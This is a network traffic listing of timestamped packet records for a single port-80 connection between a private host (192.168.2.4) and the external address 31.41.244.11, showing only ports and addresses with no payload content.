Nov 1, 2024 10:57:11.187947035 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187954903 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.187958002 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187973976 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.187997103 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.188136101 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.188146114 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.188163042 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.188174963 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.188175917 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.188189983 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.188199043 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.188201904 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.188219070 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.188225985 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.188230038 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.188242912 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.188252926 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.188252926 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.188262939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.188273907 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.188277006 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.188283920 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.188301086 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.188302040 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.188313007 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.188329935 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.188333035 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.188344955 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.188347101 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.188357115 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.188374996 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.188401937 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.188451052 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.188463926 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.188473940 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.188486099 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.188493013 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.188497066 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.188509941 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.188519001 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.188520908 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.188545942 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.188560009 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.188596010 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.188606977 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.188616991 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.188627005 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.188638926 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.188668966 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.190026999 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190078020 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190088987 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190094948 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.190119982 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190129042 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.190131903 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190145016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190165043 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.190193892 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.190346956 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190359116 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190370083 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190381050 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190392017 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190396070 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.190402985 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190411091 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.190423965 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190434933 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190440893 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.190448046 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190459013 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190468073 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.190470934 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190479040 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.190484047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190496922 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190510988 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.190537930 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.190560102 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190598011 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.190788984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190808058 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190819979 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190828085 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.190831900 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190840960 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.190845013 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190856934 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190864086 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.190867901 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190876007 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.190881968 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190892935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190903902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190907001 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.190915108 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190926075 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.190926075 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190957069 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.190959930 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190972090 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.190982103 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191009045 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191143990 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191154957 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191165924 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191176891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191189051 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191193104 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191200018 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191201925 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191211939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191222906 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191231966 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191232920 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191250086 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191260099 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191261053 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191271067 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191273928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191284895 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191294909 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191303015 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191306114 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191325903 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191349983 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191380978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191392899 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191404104 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191416025 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191418886 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191426992 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191435099 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191438913 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191448927 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191451073 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191471100 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191482067 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191482067 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191493988 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191504955 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191504955 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191517115 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191529036 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191529989 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191540956 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191544056 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191570997 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191601038 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191601992 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191613913 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191623926 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191639900 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191642046 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191659927 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191667080 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191678047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191683054 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191689014 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191699028 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191705942 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191709995 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191720963 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191721916 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191735029 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191745043 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191750050 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191767931 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191781044 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191780090 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191793919 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191804886 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191817999 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191833973 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191848993 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191881895 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191893101 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191903114 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191915989 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191922903 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191926956 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191939116 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191948891 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191950083 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191962004 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191967964 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.191975117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191988945 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.191988945 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192020893 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192028046 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192033052 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192043066 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192044020 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192061901 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192071915 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192071915 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192090034 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192097902 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192101002 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192110062 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192115068 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192127943 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192135096 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192166090 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192212105 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192223072 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192231894 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192243099 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192246914 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192255974 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192266941 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192272902 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192277908 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192301989 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192317963 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192352057 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192363977 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192373037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192384005 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192393064 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192394972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192405939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192419052 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192425013 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192435980 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192437887 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192449093 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192460060 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192465067 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192480087 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192492008 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192497969 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192507982 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192523956 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192537069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192537069 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192545891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192563057 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192588091 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192631006 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192642927 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192652941 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192663908 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192672968 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192676067 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192687988 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192691088 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192699909 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192712069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192717075 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192744017 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192744017 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192759037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192775011 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192785025 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192795038 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192795992 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192810059 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192815065 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192838907 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192862988 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192888021 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192898989 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192909956 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192920923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192929029 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192933083 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192945004 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192956924 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192975998 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.192979097 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.192991018 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.193001986 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.193012953 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.193023920 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.193041086 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.193073034 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.221978903 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.221995115 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.222008944 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.222021103 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.222031116 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.222040892 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.222049952 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.222057104 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.222059965 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.222079039 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.222098112 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.276359081 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.276371002 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.276386976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.276396036 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.276406050 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.276417017 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.276426077 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.276437044 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.276447058 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.276469946 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.276472092 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.276479959 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.276506901 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.276518106 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.276575089 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.276585102 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.276608944 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.276633978 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.276640892 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.276660919 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.276669025 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.276694059 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.276712894 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.276752949 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.276763916 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.276797056 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.276803970 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.276813984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.276823044 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.276844978 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.276856899 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.276875973 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.276885986 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.276894093 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.276904106 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.276918888 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.276945114 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.276972055 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.276983023 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.276992083 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277002096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277009964 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277012110 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.277019978 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.277048111 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.277077913 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277089119 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277096987 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.277107000 CET	80	49820	31.41.244.11	192.168.2.4
